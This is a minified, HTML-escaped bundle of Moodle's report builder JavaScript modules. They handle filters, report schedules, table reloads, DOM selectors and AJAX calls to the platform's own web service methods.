define(&quot;core_reportbuilder/filters&quot;,[&quot;exports&quot;,&quot;core/event_dispatcher&quot;,&quot;core/fragment&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/str&quot;,&quot;core/templates&quot;,&quot;core/toast&quot;,&quot;core_form/dynamicform&quot;,&quot;core_reportbuilder/local/events&quot;,&quot;core_reportbuilder/local/selectors&quot;,&quot;core_reportbuilder/local/repository/filters&quot;],(function(_exports,_event_dispatcher,_fragment,_notification,_pending,_str,_templates,_toast,_dynamicform,reportEvents,reportSelectors,_filters){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Report builder filter management
   *
   * @module      core_reportbuilder/filters
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),_templates=_interopRequireDefault(_templates),_dynamicform=_interopRequireDefault(_dynamicform),reportEvents=_interopRequireWildcard(reportEvents),reportSelectors=_interopRequireWildcard(reportSelectors);const setFilterButtonCount=async(reportElement,filterCount)=&gt;{const filterButtonLabel=reportElement.querySelector(reportSelectors.regions.filterButtonLabel);filterButtonLabel.textContent=filterCount&gt;0?await(0,_str.get_string)(&quot;filtersappliedx&quot;,&quot;core_reportbuilder&quot;,filterCount):await(0,_str.get_string)(&quot;filters&quot;,&quot;moodle&quot;)};_exports.init=(reportId,contextId)=&gt;{const reportElement=document.querySelector(reportSelectors.forReport(reportId)),filterFormContainer=reportElement.querySelector(reportSelectors.regions.filtersForm);if(filterFormContainer.dataset.initialized)return;filterFormContainer.dataset.initialized=!0;const filterForm=new _dynamicform.default(filterFormContainer,&quot;\\core_reportbuilder\\form\\filter&quot;);filterForm.addEventListener(filterForm.events.FORM_SUBMITTED,(event=&gt;{event.preventDefault(),(0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{},reportElement),setFilterButtonCount(reportElement,event.detail),(0,_str.get_string)(&quot;filtersapplied&quot;,&quot;core_reportbuilder&quot;).then(_toast.add).catch(_notification.default.exception)})),filterForm.addEventListener(filterForm.events.NOSUBMIT_BUTTON_PRESSED,(event=&gt;{event.preventDefault();const pendingPromise=new _pending.default(&quot;core_reportbuilder/filters:reset&quot;),reportParameters=reportElement.dataset.parameter;(0,_filters.resetFilters)(reportId,reportParameters).then((()=&gt;(0,_str.get_string)(&quot;filtersreset&quot;,&quot;core_reportbuilder&quot;))).then(_toast.add).then((()=&gt;(0,_fragment.loadFragment)(&quot;core_reportbuilder&quot;,&quot;filters_form&quot;,contextId,{reportid:reportId,parameters:reportParameters}))).then(((html,js)=&gt;(_templates.default.replaceNodeContents(filterFormContainer,html,js),(0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{},reportElement),setFilterButtonCount(reportElement,0),pendingPromise.resolve()))).catch(_notification.default.exception)})),document.querySelector(&quot;#region-main&quot;).style.overflowX=&quot;visible&quot;}}));
define(&quot;core_reportbuilder/schedules&quot;,[&quot;exports&quot;,&quot;core/event_dispatcher&quot;,&quot;core/inplace_editable&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/prefetch&quot;,&quot;core/str&quot;,&quot;core/toast&quot;,&quot;core_reportbuilder/local/events&quot;,&quot;core_reportbuilder/local/selectors&quot;,&quot;core_reportbuilder/local/repository/modals&quot;,&quot;core_reportbuilder/local/repository/schedules&quot;],(function(_exports,_event_dispatcher,_inplace_editable,_notification,_pending,_prefetch,_str,_toast,reportEvents,reportSelectors,_modals,_schedules){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),reportEvents=_interopRequireWildcard(reportEvents),reportSelectors=_interopRequireWildcard(reportSelectors);let initialized=!1;_exports.init=reportId=&gt;{(0,_prefetch.prefetchStrings)(&quot;core_reportbuilder&quot;,[&quot;deleteschedule&quot;,&quot;deletescheduleconfirm&quot;,&quot;disableschedule&quot;,&quot;editscheduledetails&quot;,&quot;enableschedule&quot;,&quot;newschedule&quot;,&quot;schedulecreated&quot;,&quot;scheduledeleted&quot;,&quot;schedulesent&quot;,&quot;scheduleupdated&quot;,&quot;sendschedule&quot;,&quot;sendscheduleconfirm&quot;]),(0,_prefetch.prefetchStrings)(&quot;core&quot;,[&quot;confirm&quot;,&quot;delete&quot;]),initialized||(document.addEventListener(&quot;click&quot;,(event=&gt;{if(event.target.closest(reportSelectors.actions.scheduleCreate)){event.preventDefault();const scheduleModal=(0,_modals.createScheduleModal)(event.target,(0,_str.get_string)(&quot;newschedule&quot;,&quot;core_reportbuilder&quot;),reportId);scheduleModal.addEventListener(scheduleModal.events.FORM_SUBMITTED,(()=&gt;{(0,_str.get_string)(&quot;schedulecreated&quot;,&quot;core_reportbuilder&quot;).then(_toast.add).then((()=&gt;{const reportElement=document.querySelector(reportSelectors.regions.report);(0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{},reportElement)})).catch(_notification.default.exception)})),scheduleModal.show()}const scheduleToggle=event.target.closest(reportSelectors.actions.scheduleToggle);if(scheduleToggle){const pendingPromise=new _pending.default(&quot;core_reportbuilder/schedules:toggle&quot;),scheduleStateToggle=+!Number(scheduleToggle.dataset.state);(0,_schedules.toggleSchedule)(reportId,scheduleToggle.dataset.id,scheduleStateToggle).then((()=&gt;{scheduleToggle.closest(&quot;tr&quot;).classList.toggle(&quot;text-muted&quot;),scheduleToggle.dataset.state=scheduleStateToggle;const stringKey=scheduleStateToggle?&quot;disableschedule&quot;:&quot;enableschedule&quot;;return(0,_str.get_string)(stringKey,&quot;core_reportbuilder&quot;)})).then((toggleLabel=&gt;(scheduleToggle.parentElement.querySelector(&#039;label[for=&quot;&#039;.concat(scheduleToggle.id,&#039;&quot;] &gt; span&#039;)).innerHTML=toggleLabel,pendingPromise.resolve()))).catch(_notification.default.exception)}const scheduleEdit=event.target.closest(reportSelectors.actions.scheduleEdit);if(scheduleEdit){event.preventDefault();const triggerElement=scheduleEdit.closest(&quot;.dropdown&quot;).querySelector(&quot;.dropdown-toggle&quot;),scheduleModal=(0,_modals.createScheduleModal)(triggerElement,(0,_str.get_string)(&quot;editscheduledetails&quot;,&quot;core_reportbuilder&quot;),reportId,scheduleEdit.dataset.scheduleId);scheduleModal.addEventListener(scheduleModal.events.FORM_SUBMITTED,(()=&gt;{(0,_str.get_string)(&quot;scheduleupdated&quot;,&quot;core_reportbuilder&quot;).then(_toast.add).then((()=&gt;{const reportElement=scheduleEdit.closest(reportSelectors.regions.report);(0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{},reportElement)})).catch(_notification.default.exception)})),scheduleModal.show()}const scheduleSend=event.target.closest(reportSelectors.actions.scheduleSend);if(scheduleSend){event.preventDefault();const triggerElement=scheduleSend.closest(&quot;.dropdown&quot;).querySelector(&quot;.dropdown-toggle&quot;);_notification.default.saveCancelPromise((0,_str.get_string)(&quot;sendschedule&quot;,&quot;core_reportbuilder&quot;),(0,_str.get_string)(&quot;sendscheduleconfirm&quot;,&quot;core_reportbuilder&quot;,scheduleSend.dataset.scheduleName),(0,_str.get_string)(&quot;confirm&quot;,&quot;core&quot;),{triggerElement:triggerElement}).then((()=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/schedules:send&quot;);return(0,_schedules.sendSchedule)(reportId,scheduleSend.dataset.scheduleId).then((0,_toast.add)((0,_str.get_string)(&quot;schedulesent&quot;,&quot;core_reportbuilder&quot;))).then((()=&gt;pendingPromise.resolve())).catch(_notification.default.exception)})).catch((()=&gt;{}))}const scheduleDelete=event.target.closest(reportSelectors.actions.scheduleDelete);if(scheduleDelete){event.preventDefault();const triggerElement=scheduleDelete.closest(&quot;.dropdown&quot;).querySelector(&quot;.dropdown-toggle&quot;);_notification.default.saveCancelPromise((0,_str.get_string)(&quot;deleteschedule&quot;,&quot;core_reportbuilder&quot;),(0,_str.get_string)(&quot;deletescheduleconfirm&quot;,&quot;core_reportbuilder&quot;,scheduleDelete.dataset.scheduleName),(0,_str.get_string)(&quot;delete&quot;,&quot;core&quot;),{triggerElement:triggerElement}).then((()=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/schedules:delete&quot;);return(0,_schedules.deleteSchedule)(reportId,scheduleDelete.dataset.scheduleId).then((0,_toast.add)((0,_str.get_string)(&quot;scheduledeleted&quot;,&quot;core_reportbuilder&quot;))).then((()=&gt;{const reportElement=scheduleDelete.closest(reportSelectors.regions.report);return(0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{preservePagination:!0},reportElement),pendingPromise.resolve()})).catch(_notification.default.exception)})).catch((()=&gt;{}))}})),initialized=!0)}}));
define(&quot;core_reportbuilder/report&quot;,[&quot;exports&quot;,&quot;core/notification&quot;,&quot;core_reportbuilder/local/events&quot;,&quot;core_reportbuilder/local/selectors&quot;,&quot;core_table/dynamic&quot;,&quot;core_table/local/dynamic/selectors&quot;],(function(_exports,_notification,reportEvents,reportSelectors,_dynamic,tableSelectors){var obj;
/**
   * Report builder report management
   *
   * @module      core_reportbuilder/report
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_notification=(obj=_notification)&amp;&amp;obj.__esModule?obj:{default:obj},reportEvents=_interopRequireWildcard(reportEvents),reportSelectors=_interopRequireWildcard(reportSelectors),tableSelectors=_interopRequireWildcard(tableSelectors);const CLASSES_COLLAPSED=&quot;collapsed&quot;,CLASSES_EXPANDED=&quot;show&quot;,CLASSES_ICONUP=&quot;fa-angle-up&quot;,CLASSES_ICONDOWN=&quot;fa-angle-down&quot;;let initialized=!1;_exports.init=()=&gt;{initialized||(document.addEventListener(reportEvents.tableReload,(async event=&gt;{var _event$detail;const reportElement=event.target.closest(reportSelectors.regions.report);if(null===reportElement)return;const tableRoot=reportElement.querySelector(tableSelectors.main.region),pageNumber=null!==(_event$detail=event.detail)&amp;&amp;void 0!==_event$detail&amp;&amp;_event$detail.preservePagination?null:1;await(0,_dynamic.setPageNumber)(tableRoot,pageNumber,!1).then(_dynamic.refreshTableContent).then((()=&gt;{var _event$detail2;const preserveTriggerElement=null===(_event$detail2=event.detail)||void 0===_event$detail2?void 0:_event$detail2.preserveTriggerElement;var _reportElement$queryS;preserveTriggerElement&amp;&amp;(null===(_reportElement$queryS=reportElement.querySelector(preserveTriggerElement))||void 0===_reportElement$queryS||_reportElement$queryS.focus())})).catch(_notification.default.exception)})),document.addEventListener(&quot;click&quot;,(event=&gt;{const reportActionPopup=event.target.closest(reportSelectors.actions.reportActionPopup);if(null===reportActionPopup)return;event.preventDefault();const popupAction=JSON.parse(reportActionPopup.dataset.popupAction);window.openpopup(event,popupAction.jsfunctionargs)})),document.addEventListener(&quot;click&quot;,(event=&gt;{const toggleCard=event.target.closest(reportSelectors.actions.toggleCardView);if(toggleCard){const tableCard=toggleCard.closest(&quot;tr&quot;),toggleIcon=toggleCard.querySelector(&quot;i&quot;);event.preventDefault(),toggleCard.classList.contains(CLASSES_COLLAPSED)?(tableCard.classList.add(CLASSES_EXPANDED),toggleIcon.classList.replace(CLASSES_ICONDOWN,CLASSES_ICONUP),toggleCard.classList.remove(CLASSES_COLLAPSED),toggleCard.setAttribute(&quot;aria-expanded&quot;,&quot;true&quot;)):(tableCard.classList.remove(CLASSES_EXPANDED),toggleIcon.classList.replace(CLASSES_ICONUP,CLASSES_ICONDOWN),toggleCard.classList.add(CLASSES_COLLAPSED),toggleCard.removeAttribute(&quot;aria-expanded&quot;))}})),initialized=!0)}}));
define(&quot;core_reportbuilder/local/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;
/**
   * Report builder selectors
   *
   * @module      core_reportbuilder/local/selectors
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const SELECTORS={regions:{report:&#039;[data-region=&quot;core_reportbuilder/report&quot;]&#039;,reportTable:&#039;[data-region=&quot;reportbuilder-table&quot;]&#039;,columnHeader:&#039;[data-region=&quot;column-header&quot;]&#039;,filterButtonLabel:&#039;[data-region=&quot;filter-button-label&quot;]&#039;,filtersForm:&#039;[data-region=&quot;filters-form&quot;]&#039;,sidebarMenu:&#039;[data-region=&quot;sidebar-menu&quot;]&#039;,sidebarCard:&#039;[data-region=&quot;sidebar-card&quot;]&#039;,sidebarItem:&#039;[data-region=&quot;sidebar-item&quot;]&#039;,settingsConditions:&#039;[data-region=&quot;settings-conditions&quot;]&#039;,activeConditions:&#039;[data-region=&quot;active-conditions&quot;]&#039;,activeCondition:&#039;[data-region=&quot;active-condition&quot;]&#039;,settingsFilters:&#039;[data-region=&quot;settings-filters&quot;]&#039;,activeFilters:&#039;[data-region=&quot;active-filters&quot;]&#039;,activeFilter:&#039;[data-region=&quot;active-filter&quot;]&#039;,settingsSorting:&#039;[data-region=&quot;settings-sorting&quot;]&#039;,audiencesContainer:&#039;[data-region=&quot;audiences&quot;]&#039;,audienceFormContainer:&#039;[data-region=&quot;audience-form-container&quot;]&#039;,audienceCard:&#039;[data-region=&quot;audience-card&quot;]&#039;,audienceHeading:&#039;[data-region=&quot;audience-heading&quot;]&#039;,audienceForm:&#039;[data-region=&quot;audience-form&quot;]&#039;,audienceEmptyMessage:&quot;[data-region=no-instances-message]&quot;,audienceDescription:&quot;[data-region=audience-description]&quot;,audienceNotSavedLabel:&quot;[data-region=audience-not-saved]&quot;,settingsCardView:&#039;[data-region=&quot;settings-cardview&quot;]&#039;},actions:{reportActionPopup:&#039;[data-action=&quot;report-action-popup&quot;]&#039;,reportCreate:&#039;[data-action=&quot;report-create&quot;]&#039;,reportEdit:&#039;[data-action=&quot;report-edit&quot;]&#039;,reportDelete:&#039;[data-action=&quot;report-delete&quot;]&#039;,reportAddColumn:&#039;[data-action=&quot;report-add-column&quot;]&#039;,reportRemoveColumn:&#039;[data-action=&quot;report-remove-column&quot;]&#039;,reportAddCondition:&#039;[data-action=&quot;report-add-condition&quot;]&#039;,reportRemoveCondition:&#039;[data-action=&quot;report-remove-condition&quot;]&#039;,reportAddFilter:&#039;[data-action=&quot;report-add-filter&quot;]&#039;,reportRemoveFilter:&#039;[data-action=&quot;report-remove-filter&quot;]&#039;,reportToggleColumnSort:&#039;[data-action=&quot;report-toggle-column-sorting&quot;]&#039;,reportToggleColumnSortDirection:&#039;[data-action=&quot;report-toggle-sort-direction&quot;]&#039;,sidebarSearch:&#039;[data-action=&quot;sidebar-search&quot;]&#039;,toggleEditPreview:&#039;[data-action=&quot;toggle-edit-preview&quot;]&#039;,audienceAdd:&#039;[data-action=&quot;add-audience&quot;]&#039;,audienceEdit:&#039;[data-action=&quot;edit-audience&quot;]&#039;,audienceDelete:&#039;[data-action=&quot;delete-audience&quot;]&#039;,toggleCardView:&#039;[data-action=&quot;toggle-card&quot;]&#039;,scheduleCreate:&#039;[data-action=&quot;schedule-create&quot;]&#039;,scheduleToggle:&#039;[data-action=&quot;schedule-toggle&quot;]&#039;,scheduleEdit:&#039;[data-action=&quot;schedule-edit&quot;]&#039;,scheduleSend:&#039;[data-action=&quot;schedule-send&quot;]&#039;,scheduleDelete:&#039;[data-action=&quot;schedule-delete&quot;]&#039;},forReport:reportId=&gt;&quot;&quot;.concat(SELECTORS.regions.report,&#039;[data-report-id=&quot;&#039;).concat(reportId,&#039;&quot;]&#039;)};var _default=SELECTORS;return _exports.default=_default,_exports.default}));
define(&quot;core_reportbuilder/local/events&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={tableReload:&quot;core_reportbuilder_table_reload&quot;,publish:{reportColumnsUpdated:&quot;core_reportbuilder_report_columns_updated&quot;}},_exports.default}));
define(&quot;core_reportbuilder/local/repository/filters&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * Module to handle filter AJAX requests
   *
   * @module      core_reportbuilder/local/repository/filters
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.resetFilters=_exports.reorderFilter=_exports.deleteFilter=_exports.addFilter=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.resetFilters=(reportId,reportParameters)=&gt;{const request={methodname:&quot;core_reportbuilder_filters_reset&quot;,args:{reportid:reportId,parameters:reportParameters}};return _ajax.default.call([request])[0]};_exports.addFilter=(reportId,uniqueIdentifier)=&gt;{const request={methodname:&quot;core_reportbuilder_filters_add&quot;,args:{reportid:reportId,uniqueidentifier:uniqueIdentifier}};return _ajax.default.call([request])[0]};_exports.deleteFilter=(reportId,filterId)=&gt;{const request={methodname:&quot;core_reportbuilder_filters_delete&quot;,args:{reportid:reportId,filterid:filterId}};return _ajax.default.call([request])[0]};_exports.reorderFilter=(reportId,filterId,position)=&gt;{const request={methodname:&quot;core_reportbuilder_filters_reorder&quot;,args:{reportid:reportId,filterid:filterId,position:position}};return _ajax.default.call([request])[0]}}));
define(&quot;core_reportbuilder/local/repository/audiences&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * Module to handle audiences AJAX requests
   *
   * @module      core_reportbuilder/local/repository/audiences
   * @copyright   2021 David Matamoros &lt;davidmc@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.deleteAudience=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.deleteAudience=(reportId,instanceId)=&gt;{const request={methodname:&quot;core_reportbuilder_audiences_delete&quot;,args:{reportid:reportId,instanceid:instanceId}};return _ajax.default.call([request])[0]}}));
define(&quot;core_reportbuilder/local/repository/sorting&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * Module to handle column sorting AJAX requests
   *
   * @module      core_reportbuilder/local/repository/sorting
   * @copyright   2021 David Matamoros &lt;davidmc@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.toggleColumnSorting=_exports.reorderColumnSorting=_exports.getColumnSorting=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.getColumnSorting=reportId=&gt;{const request={methodname:&quot;core_reportbuilder_columns_sort_get&quot;,args:{reportid:reportId}};return _ajax.default.call([request])[0]};_exports.reorderColumnSorting=(reportId,columnId,position)=&gt;{const request={methodname:&quot;core_reportbuilder_columns_sort_reorder&quot;,args:{reportid:reportId,columnid:columnId,position:position}};return _ajax.default.call([request])[0]};_exports.toggleColumnSorting=(reportId,columnId,enabled,direction)=&gt;{const request={methodname:&quot;core_reportbuilder_columns_sort_toggle&quot;,args:{reportid:reportId,columnid:columnId,enabled:enabled,direction:direction}};return _ajax.default.call([request])[0]}}));
define(&quot;core_reportbuilder/local/repository/schedules&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * Module to handle schedule AJAX requests
   *
   * @module      core_reportbuilder/local/repository/schedules
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.toggleSchedule=_exports.sendSchedule=_exports.deleteSchedule=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.deleteSchedule=(reportId,scheduleId)=&gt;{const request={methodname:&quot;core_reportbuilder_schedules_delete&quot;,args:{reportid:reportId,scheduleid:scheduleId}};return _ajax.default.call([request])[0]};_exports.sendSchedule=(reportId,scheduleId)=&gt;{const request={methodname:&quot;core_reportbuilder_schedules_send&quot;,args:{reportid:reportId,scheduleid:scheduleId}};return _ajax.default.call([request])[0]};_exports.toggleSchedule=(reportId,scheduleId,scheduleEnabled)=&gt;{const request={methodname:&quot;core_reportbuilder_schedules_toggle&quot;,args:{reportid:reportId,scheduleid:scheduleId,enabled:scheduleEnabled}};return _ajax.default.call([request])[0]}}));
define(&quot;core_reportbuilder/local/repository/columns&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * Module to handle column AJAX requests
   *
   * @module      core_reportbuilder/local/repository/columns
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.reorderColumn=_exports.deleteColumn=_exports.addColumn=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.addColumn=(reportId,uniqueIdentifier)=&gt;{const request={methodname:&quot;core_reportbuilder_columns_add&quot;,args:{reportid:reportId,uniqueidentifier:uniqueIdentifier}};return _ajax.default.call([request])[0]};_exports.deleteColumn=(reportId,columnId)=&gt;{const request={methodname:&quot;core_reportbuilder_columns_delete&quot;,args:{reportid:reportId,columnid:columnId}};return _ajax.default.call([request])[0]};_exports.reorderColumn=(reportId,columnId,position)=&gt;{const request={methodname:&quot;core_reportbuilder_columns_reorder&quot;,args:{reportid:reportId,columnid:columnId,position:position}};return _ajax.default.call([request])[0]}}));
define(&quot;core_reportbuilder/local/repository/conditions&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * Module to handle condition AJAX requests
   *
   * @module      core_reportbuilder/local/repository/conditions
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.resetConditions=_exports.reorderCondition=_exports.deleteCondition=_exports.addCondition=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.resetConditions=reportId=&gt;{const request={methodname:&quot;core_reportbuilder_conditions_reset&quot;,args:{reportid:reportId}};return _ajax.default.call([request])[0]};_exports.addCondition=(reportId,uniqueIdentifier)=&gt;{const request={methodname:&quot;core_reportbuilder_conditions_add&quot;,args:{reportid:reportId,uniqueidentifier:uniqueIdentifier}};return _ajax.default.call([request])[0]};_exports.deleteCondition=(reportId,conditionId)=&gt;{const request={methodname:&quot;core_reportbuilder_conditions_delete&quot;,args:{reportid:reportId,conditionid:conditionId}};return _ajax.default.call([request])[0]};_exports.reorderCondition=(reportId,conditionId,position)=&gt;{const request={methodname:&quot;core_reportbuilder_conditions_reorder&quot;,args:{reportid:reportId,conditionid:conditionId,position:position}};return _ajax.default.call([request])[0]}}));
define(&quot;core_reportbuilder/local/repository/reports&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * Module to handle report AJAX requests
   *
   * @module      core_reportbuilder/local/repository/reports
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.getReport=_exports.deleteReport=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.deleteReport=reportId=&gt;{const request={methodname:&quot;core_reportbuilder_reports_delete&quot;,args:{reportid:reportId}};return _ajax.default.call([request])[0]};_exports.getReport=(reportId,editMode)=&gt;{const request={methodname:&quot;core_reportbuilder_reports_get&quot;,args:{reportid:reportId,editmode:editMode}};return _ajax.default.call([request])[0]}}));
define(&quot;core_reportbuilder/local/repository/modals&quot;,[&quot;exports&quot;,&quot;core_form/modalform&quot;,&quot;core/str&quot;],(function(_exports,_modalform,_str){var obj;
/**
   * Module to handle modal form requests
   *
   * @module      core_reportbuilder/local/repository/modals
   * @copyright   2021 David Matamoros &lt;davidmc@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.createScheduleModal=_exports.createReportModal=void 0,_modalform=(obj=_modalform)&amp;&amp;obj.__esModule?obj:{default:obj};const createModalForm=(triggerElement,modalTitle,formClass,formArgs)=&gt;new _modalform.default({modalConfig:{title:modalTitle},formClass:formClass,args:formArgs,saveButtonText:(0,_str.get_string)(&quot;save&quot;,&quot;moodle&quot;),returnFocus:triggerElement});_exports.createReportModal=function(triggerElement,modalTitle){let reportId=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:0;return createModalForm(triggerElement,modalTitle,&quot;core_reportbuilder\\form\\report&quot;,{id:reportId})};_exports.createScheduleModal=function(triggerElement,modalTitle,reportId){let scheduleId=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:0;return createModalForm(triggerElement,modalTitle,&quot;core_reportbuilder\\form\\schedule&quot;,{reportid:reportId,id:scheduleId})}}));
